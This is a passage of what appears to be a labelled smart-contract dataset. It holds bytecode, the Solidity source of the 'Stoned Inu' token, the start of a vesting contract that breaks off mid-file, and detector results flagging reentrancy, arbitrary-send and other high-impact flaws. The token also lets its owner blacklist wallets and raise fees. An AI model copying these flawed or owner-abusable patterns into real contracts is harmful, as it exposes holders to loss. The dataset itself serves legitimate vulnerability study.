ffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a72315820cf153a7158c89f70b596433af48b7326fa864b002ce13ac9520472b542368bce64736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 3,236 |
0x6e44c5bfb808363508c3f932bb601b6e83a9a2a9
|
/**
*Submitted for verification at Etherscan.io on 2022-04-01
*/
//Lets Get HIGH!
//t.me/stonedinu
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract StonedInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Stoned Inu";
string private constant _symbol = "StonedInu";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 420690420690 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 4;
uint256 private _taxFeeOnBuy = 7;
uint256 private _redisFeeOnSell = 4;
uint256 private _taxFeeOnSell = 7;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => uint256) public _buyMap;
address payable private _marketingAddress ;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 6900000000 * 10**9;
uint256 public _maxWalletSize = 6900000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_marketingAddress = payable(_msgSender());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function initContract() external onlyOwner(){
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function setTrading(bool _tradingOpen) public onlyOwner {
require(!tradingOpen);
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell);
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) external onlyOwner{
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount > 5000000 * 10**9 );
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f0461461057b578063dd62ed3e1461059b578063ea1644d5146105e1578063f2fde38b1461060157600080fd5b8063a2a957bb146104f6578063a9059cbb14610516578063bfd7928414610536578063c3c8cd801461056657600080fd5b80638f70ccf7116100d15780638f70ccf71461046e5780638f9a55c01461048e57806395d89b41146104a457806398a5c315146104d657600080fd5b80637d1db4a5146103f85780637f2feddc1461040e5780638203f5fe1461043b5780638da5cb5b1461045057600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461038e57806370a08231146103a3578063715018a6146103c357806374010ece146103d857600080fd5b8063313ce5671461031257806349bd5a5e1461032e5780636b9990531461034e5780636d8aa8f81461036e57600080fd5b80631694505e116101b65780631694505e1461027e57806318160ddd146102b657806323b872dd146102dc5780632fd689e3146102fc57600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461024e57600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611b3a565b610621565b005b34801561021557600080fd5b5060408051808201909152600a81526953746f6e656420496e7560b01b60208201525b6040516102459190611bff565b60405180910390f35b34801561025a57600080fd5b5061026e610269366004611c54565b6106c0565b6040519015158152602001610245565b34801561028a57600080fd5b5060135461029e906001600160a01b031681565b6040516001600160a01b039091168152602001610245565b3480156102c257600080fd5b506816ce409cb44517b4005b604051908152602001610245565b3480156102e857600080fd5b5061026e6102f7366004611c80565b6106d7565b34801561030857600080fd5b506102ce60175481565b34801561031e57600080fd5b5060405160098152602001610245565b34801561033a57600080fd5b5060145461029e906001600160a01b031681565b34801561035a57600080fd5b50610207610369366004611cc1565b610740565b34801561037a57600080fd5b50610207610389366004611cee565b61078b565b34801561039a57600080fd5b506102076107d3565b3480156103af57600080fd5b506102ce6103be366004611cc1565b610800565b3480156103cf57600080fd5b50610207610822565b3480156103e457600080fd5b506102076103f3366004611d09565b610896565b34801561040457600080fd5b506102ce60155481565b34801561041a57600080fd5b506102ce610429366004611cc1565b60116020526000908152604090205481565b34801561044757600080fd5b506102076108d8565b34801561045c57600080fd5b506000546001600160a01b031661029e565b34801561047a57600080fd5b50610207610489366004611cee565b610a90565b34801561049a57600080fd5b506102ce60165481565b3480156104b057600080fd5b5060408051808201909152600981526853746f6e6564496e7560b81b6020820152610238565b3480156104e257600080fd5b506102076104f1366004611d09565b610aef565b34801561050257600080fd5b50610207610511366004611d22565b610b1e565b34801561052257600080fd5b5061026e610531366004611c54565b610b78565b34801561054257600080fd5b5061026e610551366004611cc1565b60106020526000908152604090205460ff1681565b34801561057257600080fd5b50610207610b85565b34801561058757600080fd5b50610207610596366004611d54565b610bbb565b3480156105a757600080fd5b506102ce6105b6366004611dd8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ed57600080fd5b506102076105fc366004611d09565b610c5c565b34801561060d57600080fd5b5061020761061c366004611cc1565b610c8b565b6000546001600160a01b031633146106545760405162461bcd60e51b815260040161064b90611e11565b60405180910390fd5b60005b81518110156106bc5760016010600084848151811061067857610678611e46565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106b481611e72565b915050610657565b5050565b60006106cd338484610d75565b5060015b92915050565b60006106e4848484610e99565b610736843361073185604051806060016040528060288152602001611f8c602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906113d5565b610d75565b5060019392505050565b6000546001600160a01b0316331461076a5760405162461bcd60e51b815260040161064b90611e11565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107b55760405162461bcd60e51b815260040161064b90611e11565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107f357600080fd5b476107fd8161140f565b50565b6001600160a01b0381166000908152600260205260408120546106d190611449565b6000546001600160a01b0316331461084c5760405162461bcd60e51b815260040161064b90611e11565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c05760405162461bcd60e51b815260040161064b90611e11565b6611c37937e0800081116108d357600080fd5b601555565b6000546001600160a01b031633146109025760405162461bcd60e51b815260040161064b90611e11565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610967573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098b9190611e8d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109fc9190611e8d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6d9190611e8d565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610aba5760405162461bcd60e51b815260040161064b90611e11565b601454600160a01b900460ff1615610ad157600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610b195760405162461bcd60e51b815260040161064b90611e11565b601755565b6000546001600160a01b03163314610b485760405162461bcd60e51b815260040161064b90611e11565b60095482111580610b5b5750600b548111155b610b6457600080fd5b600893909355600a91909155600955600b55565b60006106cd338484610e99565b6012546001600160a01b0316336001600160a01b031614610ba557600080fd5b6000610bb030610800565b90506107fd816114cd565b6000546001600160a01b03163314610be55760405162461bcd60e51b815260040161064b90611e11565b60005b82811015610c56578160056000868685818110610c0757610c07611e46565b9050602002016020810190610c1c9190611cc1565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610c4e81611e72565b915050610be8565b50505050565b6000546001600160a01b03163314610c865760405162461bcd60e51b815260040161064b90611e11565b601655565b6000546001600160a01b03163314610cb55760405162461bcd60e51b815260040161064b90611e11565b6001600160a01b038116610d1a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161064b565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610dd75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161064b565b6001600160a01b038216610e385760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161064b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610efd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161064b565b6001600160a01b038216610f5f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161064b565b60008111610fc15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161064b565b6000546001600160a01b03848116911614801590610fed57506000546001600160a01b03838116911614155b156112ce57601454600160a01b900460ff16611086576000546001600160a01b038481169116146110865760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161064b565b6015548111156110d85760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161064b565b6001600160a01b03831660009081526010602052604090205460ff1615801561111a57506001600160a01b03821660009081526010602052604090205460ff16155b6111725760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161064b565b6014546001600160a01b038381169116146111f7576016548161119484610800565b61119e9190611eaa565b106111f75760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161064b565b600061120230610800565b60175460155491925082101590821061121b5760155491505b8080156112325750601454600160a81b900460ff16155b801561124c57506014546001600160a01b03868116911614155b80156112615750601454600160b01b900460ff165b801561128657506001600160a01b03851660009081526005602052604090205460ff16155b80156112ab57506001600160a01b03841660009081526005602052604090205460ff16155b156112cb576112b9826114cd565b4780156112c9576112c94761140f565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061131057506001600160a01b03831660009081526005602052604090205460ff165b8061134257506014546001600160a01b0385811691161480159061134257506014546001600160a01b03848116911614155b1561134f575060006113c9565b6014546001600160a01b03858116911614801561137a57506013546001600160a01b03848116911614155b1561138c57600854600c55600954600d555b6014546001600160a01b0384811691161480156113b757506013546001600160a01b03858116911614155b156113c957600a54600c55600b54600d555b610c5684848484611647565b600081848411156113f95760405162461bcd60e51b815260040161064b9190611bff565b5060006114068486611ec2565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106bc573d6000803e3d6000fd5b60006006548211156114b05760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161064b565b60006114ba611675565b90506114c68382611698565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061151557611515611e46565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561156e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115929190611e8d565b816001815181106115a5576115a5611e46565b6001600160a01b0392831660209182029290920101526013546115cb9130911684610d75565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611604908590600090869030904290600401611ed9565b600060405180830381600087803b15801561161e57600080fd5b505af1158015611632573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b80611654576116546116da565b61165f848484611708565b80610c5657610c56600e54600c55600f54600d55565b60008060006116826117ff565b90925090506116918282611698565b9250505090565b60006114c683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611841565b600c541580156116ea5750600d54155b156116f157565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061171a8761186f565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061174c90876118cc565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461177b908661190e565b6001600160a01b03891660009081526002602052604090205561179d8161196d565b6117a784836119b7565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117ec91815260200190565b60405180910390a3505050505050505050565b60065460009081906816ce409cb44517b40061181b8282611698565b821015611838575050600654926816ce409cb44517b40092509050565b90939092509050565b600081836118625760405162461bcd60e51b815260040161064b9190611bff565b5060006114068486611f4a565b600080600080600080600080600061188c8a600c54600d546119db565b925092509250600061189c611675565b905060008060006118af8e878787611a30565b919e509c509a509598509396509194505050505091939550919395565b60006114c683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113d5565b60008061191b8385611eaa565b9050838110156114c65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161064b565b6000611977611675565b905060006119858383611a80565b306000908152600260205260409020549091506119a2908261190e565b30600090815260026020526040902055505050565b6006546119c490836118cc565b6006556007546119d4908261190e565b6007555050565b60008080806119f560646119ef8989611a80565b90611698565b90506000611a0860646119ef8a89611a80565b90506000611a2082611a1a8b866118cc565b906118cc565b9992985090965090945050505050565b6000808080611a3f8886611a80565b90506000611a4d8887611a80565b90506000611a5b8888611a80565b90506000611a6d82611a1a86866118cc565b939b939a50919850919650505050505050565b600082611a8f575060006106d1565b6000611a9b8385611f6c565b905082611aa88583611f4a565b146114c65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161064b565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fd57600080fd5b8035611b3581611b15565b919050565b60006020808385031215611b4d57600080fd5b823567ffffffffffffffff80821115611b6557600080fd5b818501915085601f830112611b7957600080fd5b813581811115611b8b57611b8b611aff565b8060051b604051601f19603f83011681018181108582111715611bb057611bb0611aff565b604052918252848201925083810185019188831115611bce57600080fd5b938501935b82851015611bf357611be485611b2a565b84529385019392850192611bd3565b98975050505050505050565b600060208083528351808285015260005b81811015611c2c57858101830151858201604001528201611c10565b81811115611c3e576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c6757600080fd5b8235611c7281611b15565b946020939093013593505050565b600080600060608486031215611c9557600080fd5b8335611ca081611b15565b92506020840135611cb081611b15565b929592945050506040919091013590565b600060208284031215611cd357600080fd5b81356114c681611b15565b80358015158114611b3557600080fd5b600060208284031215611d0057600080fd5b6114c682611cde565b600060208284031215611d1b57600080fd5b5035919050565b60008060008060808587031215611d3857600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d6957600080fd5b833567ffffffffffffffff80821115611d8157600080fd5b818601915086601f830112611d9557600080fd5b813581811115611da457600080fd5b8760208260051b8501011115611db957600080fd5b602092830195509350611dcf9186019050611cde565b90509250925092565b60008060408385031215611deb57600080fd5b8235611df681611b15565b91506020830135611e0681611b15565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e8657611e86611e5c565b5060010190565b600060208284031215611e9f57600080fd5b81516114c681611b15565b60008219821115611ebd57611ebd611e5c565b500190565b600082821015611ed457611ed4611e5c565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f295784516001600160a01b031683529383019391830191600101611f04565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f6757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f8657611f86611e5c565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122049c7bf41bb06bbf2eebdec52c2ae8ba776ad582a1e25966d9c41d842ce4d3c6d64736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,237 |
0x08c24db6635660ef039f0c8fef2502de9f335821
|
/**
*Submitted for verification at Etherscan.io on 2022-05-01
*/
pragma solidity 0.4.24;
contract ERC20TokenInterface {
function totalSupply () external constant returns (uint);
function balanceOf (address tokenOwner) external constant returns (uint balance);
function transfer (address to, uint tokens) external returns (bool success);
function transferFrom (address from, address to, uint tokens) external returns (bool success);
}
/**
* Math operations with safety checks that throw on overflows.
*/
library SafeMath {
function mul (uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b);
return c;
}
function div (uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub (uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add (uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a);
return c;
}
}
/**
* bitcca tokens vesting contract.
*
* The bitcca "Vesting" smart contract should be in place to ensure meeting the token sale commitments.
*
* Two instances of the contract will be deployed for holding tokens.
*/
contract bitccaTokenVesting {
using SafeMath for uint256;
/**
* Address of DreamToken.
*/
ERC20TokenInterface public bitcca;
/**
* Address for receiving tokens.
*/
address public withdrawAddress;
/**
* Tokens vesting stage structure with vesting date and tokens allowed to unlock.
*/
struct VestingStage {
uint256 date;
uint256 tokensUnlockedPercentage;
}
/**
* Array for storing all vesting stages with structure defined above.
*/
VestingStage[20] public stages;
/**
* Starting timestamp of the first stage of vesting (1 June 2022, 00:00:00 GMT).
* Will be used as a starting point for all dates calculations.
*/
uint256 public vestingStartTimestamp = 1654041600;
/**
* Total amount of tokens sent.
*/
uint256 public initialTokensBalance;
/**
* Amount of tokens already sent.
*/
uint256 public tokensSent;
/**
* Event raised on each successful withdraw.
*/
event Withdraw(uint256 amount, uint256 timestamp);
/**
* Could be called only from withdraw address.
*/
modifier onlyWithdrawAddress () {
require(msg.sender == withdrawAddress);
_;
}
/**
* We are filling vesting stages array right when the contract is deployed.
*
* @param token Address of bitcca that will be locked on contract.
* @param withdraw Address of tokens receiver when it is unlocked.
*/
constructor (ERC20TokenInterface token, address withdraw) public {
bitcca = token;
withdrawAddress = withdraw;
initVestingStages();
}
/**
* Fallback
*/
